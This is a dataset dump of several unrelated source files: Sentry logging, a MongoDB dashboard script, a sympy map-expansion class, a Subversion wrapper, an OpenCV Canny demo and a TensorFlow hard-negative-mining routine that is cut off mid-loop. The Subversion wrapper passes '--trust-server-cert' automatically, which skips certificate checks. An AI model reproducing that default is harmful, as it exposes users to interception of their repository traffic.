9, "usage_type": "call"}, {"api_name": "haystack.indexes", "line_number": 9, "usage_type": "name"}, {"api_name": "haystack.indexes.FacetCharField", "line_number": 10, "usage_type": "call"}, {"api_name": "haystack.indexes", "line_number": 10, "usage_type": "name"}, {"api_name": "haystack.indexes.EdgeNgramField", "line_number": 11, "usage_type": "call"}, {"api_name": "haystack.indexes", "line_number": 11, "usage_type": "name"}, {"api_name": "models.Project", "line_number": 19, "usage_type": "name"}]}
{"seq_id": "36713552491", "text": "import os\nimport sys\nfrom urllib2 import URLError\nfrom pkgutil import extend_path\n\n# Allow out-of-tree submodules.\n__path__ = extend_path(__path__, __name__)\n\nimport raven\nimport raven.processors\n\nfrom nylas.logging.log import (get_logger, create_error_log_context,\n                               MAX_EXCEPTION_LENGTH)\n\n_sentry_client = None\n\n\ndef sentry_exceptions_enabled():\n    return 'SENTRY_DSN' in os.environ and os.environ['SENTRY_DSN'] != ''\n\n\ndef get_sentry_client():\n    global _sentry_client\n    if _sentry_client is None:\n        _sentry_client = raven.Client(\n            processors=('nylas.logging.sentry.TruncatingProcessor',))\n    return _sentry_client\n\n\nclass TruncatingProcessor(raven.processors.Processor):\n    \"\"\"Truncates the exception value string\"\"\"\n\n    # Note(emfree): raven.processors.Processor provides a filter_stacktrace\n    # method to implement, but won't actually call it correctly. We can\n    # simplify this if it gets fixed upstream.\n    def process(self, data, **kwargs):\n        if 'exception' not in data:\n            return data\n        if 'values' not in data['exception']:\n            return data\n        for item in data['exception']['values']:\n            item['value'] = item['value'][:MAX_EXCEPTION_LENGTH]\n        return data\n\n\ndef sentry_alert(*args, **kwargs):\n    if sentry_exceptions_enabled():\n        try:\n            get_sentry_client().captureException(*args, **kwargs)\n        except URLError:\n            logger = get_logger()\n            logger.error('Error occured when sending exception to Sentry')\n\n\ndef log_uncaught_errors(logger=None, **kwargs):\n    \"\"\"\n    Helper to log uncaught exceptions.\n\n    All additional kwargs supplied will be sent to Sentry as extra data.\n\n    Parameters\n    ----------\n    logger: structlog.BoundLogger, optional\n        The logging object to write to.\n\n    \"\"\"\n    logger = logger or get_logger()\n    kwargs.update(create_error_log_context(sys.exc_info()))\n    logger.error('Uncaught error', **kwargs)\n    sentry_alert(tags=kwargs)\n", "repo_name": "nylas/nylas-production-python", "sub_path": "nylas/logging/sentry/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2024, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pkgutil.extend_path", "line_number": 7, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 19, "usage_type": "attribute"}, {"api_name": "raven.Client", "line_number": 25, "usage_type": "call"}, {"api_name": "raven.processors", "line_number": 30, "usage_type": "attribute"}, {"api_name": "nylas.logging.log.MAX_EXCEPTION_LENGTH", "line_number": 42, "usage_type": "name"}, {"api_name": "urllib2.URLError", "line_number": 50, "usage_type": "name"}, {"api_name": "nylas.logging.log.get_logger", "line_number": 51, "usage_type": "call"}, {"api_name": "nylas.logging.log.get_logger", "line_number": 67, "usage_type": "call"}, {"api_name": "nylas.logging.log.create_error_log_context", "line_number": 68, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 68, "usage_type": "call"}]}
{"seq_id": "32411328064", "text": "from api_calls import *\nfrom pymongo import MongoClient\n\nmongo_connection_string = open(\"./API/mongo_connection_string.txt\", \"r\")\ncstring = mongo_connection_string.read()\nmongo_connection_string.close()\n\ncluster = MongoClient(cstring)\ndb = cluster[\"Dashboard\"]\ncollection = db[\"Dashboard\"]\n\ndata = {\n    \"_id\": 0,\n    \"weather\": None,\n    \"datetime\": None,\n    \"events\": None\n}\n\ncollection.insert_one(data)\n\nnew_db_dt = {\"year\": 2000, \"month\": 1, \"day\": 1, \"hour\": 0, \"minute\": 0, \"second\": 0}\ncollection.find_one_and_update({\"_id\":0}, {\"$set\":{\"datetime\": new_db_dt}})\n\nip = callIpAPI()\nlocation = callLocatoinAPI(ip)\nweather = callWeatherAPI(location)\ncollection.find_one_and_update({\"_id\": 0}, {\"$set\": {\"weather\": weather}})\n\nevents = callCalenderAPI()\ncollection.find_one_and_update({\"_id\": 0}, {\"$set\": {\"events\": events}})\n", "repo_name": "neil-lobo/School_Dashboard", "sub_path": "create_db_structure.py", "file_name": "create_db_structure.py", "file_ext": "py", "file_size_in_byte": 830, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pymongo.MongoClient", "line_number": 8, "usage_type": "call"}]}
{"seq_id": "42454757639", "text": "import sympy as sp\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy \nimport warnings\n\n\n\nsp.init_printing(use_unicode=True,fontsize=24)\n\nfrom collections import OrderedDict\n\n\nclass Map1D():\n    def __init__(self, q_map,p_map,q,p):\n\n\n        # Base Variables\n        #-----------------------\n        self.q,self.p          = q,p\n        self.q_map,self.p_map  = q_map,p_map\n        self.jacobian          = sp.Matrix([[self.q_map.diff(self.q),self.q_map.diff(self.p)],\n                                            [self.p_map.diff(self.q),self.p_map.diff(self.p)]])\n\n        # Polynomial Expansion\n        self.a     = sp.IndexedBase('a',real=True,positive=True)\n        self.b     = sp.IndexedBase('b',real=True,positive=True)\n        \n        try:\n            self.a_values = self.q_map.as_poly(self.q,self.p).as_dict()\n            self.b_values = self.p_map.as_poly(self.q,self.p).as_dict()\n\n            self.q_poly   = sum(self.a[i,j]*self.q**i*self.p**j for (i,j) in self.a_values.keys())\n            self.p_poly   = sum(self.b[i,j]*self.q**i*self.p**j for (i,j) in self.b_values.keys())\n\n            self._is_poly = True\n        except:\n            self._is_poly = False\n            warnings.warn('Map is not a polynomial')\n        #-----------------------\n\n\n        # Floquet-coordinates\n        #-----------------------\n        if self._is_poly:\n            self.alpha,self.beta,self.gamma,self.mu = self.get_twiss()\n            self.J,self.phi = sp.symbols('J,phi',real=True,positive=True)\n\n            self.q_flq = sp.sqrt(2*self.beta*self.J)*sp.cos(self.phi)\n            self.p_flq =-sp.sqrt(2*self.J/self.beta)*(sp.sin(self.phi) + self.alpha*sp.cos(self.phi))\n        else:\n            self.alpha,self.beta,self.gamma,self.mu,self.q_flq, self.p_flq = None,None,None,None,None,None\n        #-----------------------\n\n        # Numerical Iteration\n        #-----------------------\n        self.q_iter = sp.lambdify((self.q,self.p),self.q_map)\n        self.p_iter = sp.lambdify((self.q,self.p),self.p_map)\n        #-----------------------\n\n\n        # Constants for perturbation expansion\n        #-----------------------\n        self.C     = sp.IndexedBase('C')\n        self.eps   = sp.symbols('epsilon',real=True,positive=True)\n        self.C_cs  = sp.symbols('C_cs',real=True,positive=True)\n        #-----------------------\n\n        # Perturbation Expansion, (q,p) -> (eps*q,eps*p)\n        #-----------------------\n        self.q_eps             = (1/self.eps*self.q_map.subs({self.q:self.eps*self.q,\n                                                        self.p:self.eps*self.p},simultaneous=True)).expand()\n                                                \n        self.p_eps             = (1/self.eps*self.p_map.subs({self.q:self.eps*self.q,\n                                                        self.p:self.eps*self.p},simultaneous=True)).expand()\n        #-----------------------\n\n        \n        # Creating the K's\n        #-----------------------\n        self.num_tol   = 1e-10\n        self.max_order = 12\n        for n in range(self.max_order+1):\n            self.__setattr__(f'K{n}',self.make_K(self.lex_power(n)))\n        #-----------------------\n\n\n    def a_subs(self,ij):\n        # Returns the dictionary of a's to be substituted\n        return {self.a[_ij]:(self.a_values[_ij] if _ij in self.a_values.keys() else 0) for _ij in ij }\n\n    def b_subs(self,ij):\n        # Returns the dictionary of b's to be substituted\n        return {self.b[_ij]:(self.b_values[_ij] if _ij in self.b_values.keys() else 0) for _ij in ij }\n\n    def get_twiss(self):\n        # Returns the Twiss parameters\n        _a,_b,_c,_d = self.a[1,0],self.a[0,1],self.b[1,0],self.b[0,1]\n        _subs ={**self.a_subs([(1,0),(0,1)]),**self.b_subs([(1,0),(0,1)])}\n        \n        _trace = (_b*_c+1)/_d + _d\n\n        _alpha = (_b*_c-_d**2+1)/sp.sqrt(4*(_d**2)-(_d**2)*(_trace**2))\n        _beta  = (2*_b*_d)/sp.sqrt(4*(_d**2)-(_d**2)*(_trace**2))\n        _mu    = sp.acos(_trace/2)\n\n        if _beta.subs(_subs,simultaneous=True).is_number:\n            if _beta.subs(_subs,simultaneous=True) < 0:\n                _alpha = -_alpha\n                _beta  = -_beta\n                _mu    = -_mu + 2*sp.pi\n        \n          \n        return (_alpha.subs(_subs,simultaneous=True),\n                _beta.subs(_subs,simultaneous=True),\n                ((1+_alpha**2)/_beta).subs(_subs,simultaneous=True),\n                _mu.subs(_subs,simultaneous=True))\n\n\n    def lex_power(self,order):\n        # ex for K1 : [(3,0),(2,1),(1,2),(0,3)] -> x**3 + x**2*y + x*y**2 + y**3\n        return [(m,n) for n in range(13) for m in range(13) if n+m==order+2]\n\n    def cycle(self,q0,p0,n_cycles):\n        # To symbolically cycle the map\n        q_prime,p_prime = q0,p0\n        for i in range(n_cycles):\n            q_prime,p_prime = self.q_map.subs({self.q:q_prime,self.p:p_prime},simultaneous=True),self.p_map.subs({self.q:q_prime,self.p:p_prime},simultaneous=True)\n        return q_prime,p_prime\n\n    def iterate(self,q0,p0,n_turns):\n        # To numerically iterate the map\n        q_vec,p_vec = np.nan*np.ones(n_turns),np.nan*np.ones(n_turns)\n        q_vec[0],p_vec[0] = q0,p0\n        for ii in range(n_turns-1):\n            q_vec[ii+1],p_vec[ii+1] = self.q_iter(q_vec[ii],p_vec[ii]),self.p_iter(q_vec[ii],p_vec[ii])\n        return q_vec,p_vec\n        \n        \n    def truncate(self,expr,order):\n        return sum(coeff*self.q**pwr[0]*self.p**pwr[1] for pwr,coeff in sp.Poly(expr,self.q,self.p).terms() if pwr[0]+pwr[1]<=order)\n\n\n    def cropnum(self,expr):\n        return expr.replace(lambda x: x.is_Number and abs(x) < self.num_tol, lambda x: 0)\n\n\n    def make_K(self,powers):\n        expr   = sum(self.C[pwr[0],pwr[1]]*self.q**pwr[0]*self.p**pwr[1] for pwr in powers)\n        return expr\n\n    def Kofn(self,order):\n        return sum((self.eps**n)*self.__getattribute__(f'K{n}') for n in range(order+1))\n\n\n    def residue(self,order):\n        K =  self.Kofn(order)\n        return (K.subs({self.q:self.q_eps,\n                        self.p:self.p_eps},simultaneous=True) - K).expand()\n\n\n    def solve_C(self,order,verbose=False,auto_update=True,force_order_0 = True,ignore_symplecticity=False,at_machine_precision=True):\n\n\n        to_cancel = self.residue(order).as_coefficients_dict(self.eps)[self.eps**order]\n        eq_list = list(to_cancel.as_coefficients_dict(self.p,self.q).values())\n\n\n        if (force_order_0)&(order == 0):\n            # Check that the map is symplectic (or close enough)\n            if not ignore_symplecticity:\n                assert np.isclose(np.float64(self.jacobian.det().simplify()-1),0, rtol=1e-9,atol=1e-9), 'Map is not symplectic'\n\n            # Analytic solution for K0 to enforce symplecticity\n            _coeff_q = self.q_eps.expand().as_coefficients_dict(self.q,self.p)\n            _coeff_p = self.p_eps.expand().as_coefficients_dict(self.q,self.p)\n            a  = _coeff_q[self.q]\n            b  = _coeff_q[self.p]\n            c  = _coeff_p[self.q]\n            d  = _coeff_p[self.p]\n\n            to_sub = {self.C[1,1]:(b*c-d**2+1)/(b*d) * self.C_cs, self.C[2,0]:-c*self.C_cs/b,self.C[0,2]:self.C_cs}\n\n        else:\n\n            # Solve the system of equations\n            if (np.mod(order,2)==0)&(order!=0):\n                solutions, = sp.linsolve(eq_list[1:],[self.C[i] for i in self.lex_power(order)])\n            else:\n                solutions, = sp.linsolve(eq_list,[self.C[i] for i in self.lex_power(order)])\n\n            if at_machine_precision:\n                # to_sub = {self.C[i]:self.cropnum(s).nsimplify() for i,s in zip(self.lex_power(order),solutions)}\n                to_sub = {self.C[i]:self.cropnum(s) for i,s in zip(self.lex_power(order),solutions)}\n            else:\n                to_sub = {self.C[i]:s for i,s in zip(self.lex_power(order),solutions)}\n\n        if verbose:\n            print(60*'-')\n            for key,item in to_cancel.as_coefficients_dict(self.p,self.q).items():\n                display((sp.Matrix([key]),item))\n        \n        if auto_update:\n            self.update(to_sub,verbose=verbose)\n        elif verbose:\n            display(to_sub)\n        \n        if verbose:\n            print(60*'-')\n\n\n    def solve_C_legacy(self,order,verbose=False,auto_update=True,ignore_symplecticity=False):\n\n\n        to_cancel = self.residue(order).as_coefficients_dict(self.eps)[self.eps**order]\n        eq_list = list(to_cancel.as_coefficients_dict(self.p,self.q).values())\n\n\n        if order == 0:\n            # Check that the map is symplectic (or close enough)\n            if not ignore_symplecticity:\n                assert np.isclose(np.float64(self.jacobian.det().simplify()-1),0, rtol=1e-9,atol=1e-9), 'Map is not symplectic'\n\n            # Analytic solution for K0 to enforce symplecticity\n            _coeff_q = self.q_eps.expand().as_coefficients_dict(self.q,self.p)\n            _coeff_p = self.p_eps.expand().as_coefficients_dict(self.q,self.p)\n            a  = _coeff_q[self.q]\n            b  = _coeff_q[self.p]\n            c  = _coeff_p[self.q]\n            d  = _coeff_p[self.p]\n\n            to_sub = {self.C[1,1]:(b*c-d**2+1)/(b*d) * self.C_cs, self.C[2,0]:-c*self.C_cs/b,self.C[0,2]:self.C_cs}\n\n        else:\n            # Solve the system of equations\n            to_sub = sp.solve(eq_list,[self.C[i] for i in self.lex_power(order)])\n\n        if verbose:\n            print(60*'-')\n            for key,item in to_cancel.as_coefficients_dict(self.p,self.q).items():\n                display((sp.Matrix([key]),item))\n        \n        if auto_update:\n            self.update(to_sub,verbose=verbose)\n        elif verbose:\n            display(to_sub)\n        \n        if verbose:\n            print(60*'-')\n\n    \n    def minimize_residue(self,order,verbose=False,auto_update=True):\n\n        eps_terms = self.residue(order=order).expand().as_coefficients_dict(self.eps)\n        _keys = list(eps_terms.keys())\n        if 1 in _keys:\n            _keys.remove(1)\n        if self.eps in _keys:\n            _keys.remove(self.eps)\n        lead_pwr = min([key.args[1] for key in _keys if key.args[1]>order])\n\n        _residue = eps_terms[self.eps**lead_pwr]\n        _residue = _residue.subs({self.q:self.q_flq,self.p:self.p_flq},simultaneous=True).subs({self.J:1})\n        \n        # _residue = (self.residue(order=order).expand()+ sp.O(self.eps**(lead_pwr+1))).removeO()\n        # _residue = _residue.subs({self.q:self.q_flq,self.p:self.p_flq},simultaneous=True).subs({self.J:1,self.eps:1})\n        \n        # Cij found in the expression\n        _Cij = list((_residue.free_symbols - _residue.atoms(sp.Symbol)))[0]\n        _fun = sp.lambdify((self.phi,_Cij),_residue**2)\n\n        def avg_residue(Cij):  \n            return scipy.integrate.quad(lambda phi:_fun(phi,Cij),0,2*np.pi)[0]\n\n        # Rounding to 6 decimals to avoid numerical issues\n        _value = np.round(scipy.optimize.minimize(avg_residue, x0=0).x[0],6)\n\n        _,i,j = _Cij.args\n        to_sub = {self.C[i,j]:_value}\n        \n        if auto_update:\n            self.update(to_sub,verbose=verbose)\n        elif verbose:\n            display(to_sub)\n        if verbose:\n            print(60*'-')\n\n        return _value\n    \n\n    def minimize_multiple_residue(self,order,verbose=False,auto_update=True):\n\n        eps_terms = self.residue(order=order).expand().as_coefficients_dict(self.eps)\n        _keys = list(eps_terms.keys())\n        if 1 in _keys:\n            _keys.remove(1)\n        if self.eps in _keys:\n            _keys.remove(self.eps)\n        lead_pwr = min([key.args[1] for key in _keys if key.args[1]>order])\n\n        _residue = eps_terms[self.eps**lead_pwr]\n        _residue = _residue.subs({self.q:self.q_flq,self.p:self.p_flq},simultaneous=True).subs({self.J:1})\n        \n        # _residue = (self.residue(order=order).expand()+ sp.O(self.eps**(lead_pwr+1))).removeO()\n        # _residue = _residue.subs({self.q:self.q_flq,self.p:self.p_flq},simultaneous=True).subs({self.J:1,self.eps:1})\n        \n        # Cij found in the expression\n        _Cij = _residue.free_symbols - _residue.atoms(sp.Symbol)\n        _fun = sp.lambdify((self.phi,*(_Cij)),_residue**2)\n\n\n        def avg_residue(x):\n            Cij = tuple(x)\n            return scipy.integrate.quad(lambda phi:_fun(phi,*Cij),0,2*np.pi)[0]\n\n        _values = scipy.optimize.minimize(avg_residue, x0=list(np.zeros(len(_Cij)))).x\n\n        to_sub = {}\n        for _val,_C in zip(_values,_Cij):\n            to_sub = {**to_sub,**{_C:_val}}\n        \n        if auto_update:\n            self.update(to_sub,verbose=verbose)\n        elif verbose:\n            display(to_sub)\n        if verbose:\n            print(60*'-')\n\n        return _values\n\n\n    def update(self,to_update,verbose=False,deep_update=False):\n        if verbose:\n            display(to_update)\n\n        for n in range(self.max_order+1):\n            # updating the expression\n            self.__setattr__(f'K{n}', self.__getattribute__(f'K{n}').subs(to_update, simultaneous=True))\n\n        # Rewrite all variables if needed\n        if deep_update:\n            for attr in [   'q_map','p_map','q_eps','p_eps','q_flq','p_flq','jacobian',\n                            'alpha','beta','mu','gamma']:\n                if  self.__getattribute__(attr) is not None:\n                    self.__setattr__(attr, self.__getattribute__(attr).subs(to_update, simultaneous=True))\n\n            self.q_iter = sp.lambdify((self.q,self.p),self.q_map)\n            self.p_iter = sp.lambdify((self.q,self.p),self.p_map)\n\n            if self._is_poly:\n                self.a_values = self.q_map.as_poly(self.q,self.p).as_dict()\n                self.b_values = self.p_map.as_poly(self.q,self.p).as_dict()\n\n\n\n\n\n\n", "repo_name": "pbelange/McMillan", "sub_path": "McMillan/Maps/Maps.py", "file_name": "Maps.py", "file_ext": "py", "file_size_in_byte": 13646, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sympy.init_printing", "line_number": 9, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 22, "usage_type": "call"}, {"api_name": "sympy.IndexedBase", "line_number": 26, "usage_type": "call"}, {"api_name": "sympy.IndexedBase", "line_number": 27, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 39, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 47, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 49, "usage_type": "call"}, {"api_name": "sympy.cos", "line_number": 49, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 50, "usage_type": "call"}, {"api_name": "sympy.sin", "line_number": 50, "usage_type": "call"}, {"api_name": "sympy.cos", "line_number": 50, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 57, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 58, "usage_type": "call"}, {"api_name": "sympy.IndexedBase", "line_number": 64, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 65, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 66, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 103, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 104, "usage_type": "call"}, {"api_name": "sympy.acos", "line_number": 105, "usage_type": "call"}, {"api_name": "sympy.pi", "line_number": 111, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 133, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 133, "usage_type": "call"}, {"api_name": "sympy.Poly", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.isclose", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.mod", "line_number": 187, "usage_type": "call"}, {"api_name": "sympy.linsolve", "line_number": 188, "usage_type": "call"}, {"api_name": "sympy.linsolve", "line_number": 190, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.isclose", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 222, "usage_type": "call"}, {"api_name": "sympy.solve", "line_number": 236, "usage_type": "call"}, {"api_name": "sympy.Matrix", "line_number": 241, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 269, "usage_type": "attribute"}, {"api_name": "sympy.lambdify", "line_number": 270, "usage_type": "call"}, {"api_name": "scipy.integrate.quad", "line_number": 273, "usage_type": "call"}, {"api_name": "scipy.integrate", "line_number": 273, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 273, "usage_type": "attribute"}, {"api_name": "numpy.round", "line_number": 276, "usage_type": "call"}, {"api_name": "scipy.optimize.minimize", "line_number": 276, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 276, "usage_type": "attribute"}, {"api_name": "sympy.Symbol", "line_number": 308, "usage_type": "attribute"}, {"api_name": "sympy.lambdify", "line_number": 309, "usage_type": "call"}, {"api_name": "scipy.integrate.quad", "line_number": 314, "usage_type": "call"}, {"api_name": "scipy.integrate", "line_number": 314, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 314, "usage_type": "attribute"}, {"api_name": "scipy.optimize.minimize", "line_number": 316, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 316, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 316, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 347, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 348, "usage_type": "call"}]}
{"seq_id": "30461672471", "text": "\nimport logging\ntry:\n    import xml.etree.ElementTree as etree\nexcept ImportError:\n    import elementtree.ElementTree as etree\n\nfrom monteur.vcs.vcs import VCS, VCSFactory\nfrom monteur.utils import have_cmd, get_cmd_output, compare_uri\nfrom monteur.vcs.error import SubversionError\n\n\nlogger = logging.getLogger('monteur')\nINVALID_CERTIFICATE = 'certificate verification failed: issuer is not trusted'\nAUTHORIZATION_FAILED = 'authorization failed'\n\n\ndef read_info(xml):\n    # Read the output of svn info in XML.\n    try:\n        dom = etree.fromstring(xml)\n    except:\n        return None, None\n    entry = dom.find('entry')\n    if entry is None:\n        return None, None\n    url = entry.find('url')\n    if url is None:\n        return None, None\n    repository = entry.find('repository')\n    if repository is None:\n        return None, None\n    root = repository.find('root')\n    if root is None:\n        return None, None\n    return url.text.strip(), root.text.strip()\n\ndef read_status(xml):\n    # Read the output of svn status in XML. Return False if the output\n    # is dirty.\n    try:\n        dom = etree.fromstring(xml)\n    except:\n        return False\n    for target in dom.findall('target'):\n        for entry in target.findall('entry'):\n            status = entry.find('wc-status')\n            if status is not None and status.get('item') != 'external':\n                return False\n    return True\n\n\nclass Subversion(VCS):\n\n    def _run_svn(self, arguments, error=None, path=None):\n        command = ['svn']\n        command.extend(self.options)\n        command.extend(arguments)\n        options = dict(environ={'LC_ALL': 'C'}, path=path)\n        stdout, stderr, code = get_cmd_output(*command, **options)\n        if code:\n            reason = stderr.strip().split('\\n')[-1]\n            if INVALID_CERTIFICATE in reason:\n                raise SubversionError(\n                    u\"Invalid certificate. \"\n                    u\"Please checkout and approve certificate by hand.\",\n                    self.checkout.uri)\n            if AUTHORIZATION_FAILED in reason:\n                raise SubversionError(\n                    u\"Invalid username or password\",\n                    self.checkout.uri)\n            if error is None:\n                error = u\"Error while running svn command\"\n            raise SubversionError(\n                error, self.checkout.uri, detail=stderr, command=command)\n        return stdout\n\n    def fetch(self):\n        self._run_svn(\n            ['co', self.checkout.uri, self.checkout.directory],\n            error=u\"Error while checking out\")\n\n    def update(self):\n        self._run_svn(\n            ['update'],\n            path=self.checkout.directory,\n            error=u\"Error while updating\")\n\n    def verify(self):\n        xml = self._run_svn(\n            ['info', '--xml'],\n            path=self.checkout.directory,\n            error=\"Checkout directory is not a valid checkout\")\n        current_uri, current_root = read_info(xml)\n        if current_uri is None:\n            raise SubversionError(\n                u\"Could not read the output\",\n                self.checkout.directory)\n        if not compare_uri(current_uri, self.checkout.uri):\n            if not self.checkout.uri.startswith(current_root):\n                raise SubversionError(\n                    u\"Cannot switch to a different repository\",\n                    current_root, self.checkout.uri)\n            return False\n        return True\n\n    def status(self):\n        xml = self._run_svn(\n            ['status', '--xml'],\n            path=self.checkout.directory,\n            error=\"Checkout directory is not a valid checkout\")\n        return read_status(xml)\n\n    def switch(self):\n        self._run_svn(\n            ['switch', self.checkout.uri],\n            path=self.checkout.directory,\n            error=u\"Error switching repository URI\")\n\n\nclass SubversionFactory(VCSFactory):\n    software_name = 'subversion'\n\n    def __init__(self):\n        self.available, self.version = have_cmd('svn', '--version')\n        if isinstance(self.version, str):\n            logger.info(u'Found Subversion version %s' % self.version)\n        self.options = ['--non-interactive']\n        if self.version > '1.6':\n            self.options.append('--trust-server-cert')\n\n    def __call__(self, checkout):\n        return Subversion(checkout, options=self.options)\n\n\n", "repo_name": "thefunny42/Zeam-Setup", "sub_path": "src/monteur/vcs/subversion.py", "file_name": "subversion.py", "file_ext": "py", "file_size_in_byte": 4365, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "elementtree.ElementTree.fromstring", "line_number": 21, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 21, "usage_type": "argument"}, {"api_name": "elementtree.ElementTree", "line_number": 21, "usage_type": "name"}, {"api_name": "elementtree.ElementTree.fromstring", "line_number": 42, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 42, "usage_type": "argument"}, {"api_name": "elementtree.ElementTree", "line_number": 42, "usage_type": "name"}, {"api_name": "monteur.vcs.vcs.VCS", "line_number": 53, "usage_type": "name"}, {"api_name": "monteur.utils.get_cmd_output", "line_number": 60, "usage_type": "call"}, {"api_name": "monteur.vcs.error.SubversionError", "line_number": 64, "usage_type": "call"}, {"api_name": "monteur.vcs.error.SubversionError", "line_number": 69, "usage_type": "call"}, {"api_name": "monteur.vcs.error.SubversionError", "line_number": 74, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 90, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree", "line_number": 94, "usage_type": "argument"}, {"api_name": "monteur.vcs.error.SubversionError", "line_number": 96, "usage_type": "call"}, {"api_name": "monteur.utils.compare_uri", "line_number": 99, "usage_type": "call"}, {"api_name": "monteur.vcs.error.SubversionError", "line_number": 101, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 108, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree", "line_number": 112, "usage_type": "argument"}, {"api_name": "monteur.vcs.vcs.VCSFactory", "line_number": 121, "usage_type": "name"}, {"api_name": "monteur.utils.have_cmd", "line_number": 125, "usage_type": "call"}]}
{"seq_id": "12723852817", "text": "import numpy as numpy\nimport cv2\nimport matplotlib.pyplot as pyplot\n\ndef canny() :\n    img = cv2.imread('./original/straight01.png', cv2.IMREAD_GRAYSCALE)\n    #img = cv2.imread('./orignial/rightCurve01.jpg', cv2.IMREAD_GRAYSCALE)\n\n    edge1_th = [50, 200]\n    edge2_th = [100, 200]\n    edge3_th = [120, 200]\n\n    edge1 = cv2.Canny(img, edge1_th[0], edge1_th[1])\n    edge2 = cv2.Canny(img, edge2_th[0], edge2_th[1])\n    edge3 = cv2.Canny(img, edge3_th[0], edge3_th[1])\n\n    cv2.imshow('original', img)\n    cv2.imshow('Low : ' + str(edge1_th[0]) + ', High : ' + str(edge1_th[1]), edge1)\n    cv2.imshow('Low : ' + str(edge2_th[0]) + ', High : ' + str(edge2_th[1]), edge2)\n    cv2.imshow('Low : ' + str(edge3_th[0]) + ', High : ' + str(edge3_th[1]), edge3)\n\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n\ncanny()\n", "repo_name": "leesunmyung/Indoor_lane_Canny_edge_detection", "sub_path": "canny_img.py", "file_name": "canny_img.py", "file_ext": "py", "file_size_in_byte": 810, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.imread", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 6, "usage_type": "attribute"}, {"api_name": "cv2.Canny", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 23, "usage_type": "call"}]}
{"seq_id": "8720113304", "text": "import tensorflow as tf\nimport config\n\n\ndef OHNM_single_image(scores, n_pos, neg_mask):\n    \"\"\"Online Hard Negative Mining.\n        scores: the scores of being predicted as negative cls\n        n_pos: the number of positive samples\n        neg_mask: mask of negative samples\n        Return:\n            the mask of selected negative samples.\n            if n_pos == 0, top 10000 negative samples will be selected.\n    \"\"\"\n\n    def has_pos():\n        return n_pos * config.max_neg_pos_ratio\n\n    def no_pos():\n        return tf.constant(10000, dtype=tf.int32)\n\n    n_neg = tf.cond(n_pos > 0, has_pos, no_pos)\n    max_neg_entries = tf.reduce_sum(tf.cast(neg_mask, tf.int32))\n\n    n_neg = tf.minimum(n_neg, max_neg_entries)\n    n_neg = tf.cast(n_neg, tf.int32)\n\n    def has_neg():\n        neg_conf = tf.boolean_mask(scores, neg_mask)\n        vals, _ = tf.nn.top_k(-neg_conf, k=n_neg)\n        threshold = vals[-1]  # a negtive value\n        selected_neg_mask = tf.logical_and(neg_mask, scores <= -threshold)\n        return selected_neg_mask\n\n    def no_neg():\n        selected_neg_mask = tf.zeros_like(neg_mask)\n        return selected_neg_mask\n\n    selected_neg_mask = tf.cond(n_neg > 0, has_neg, no_neg)\n    return tf.cast(selected_neg_mask, tf.int32)\n\n\ndef OHNM_batch(batch_size, neg_conf, pos_mask, neg_mask):\n    selected_neg_mask = []\n    for image_idx in xrange(batch_size):\n        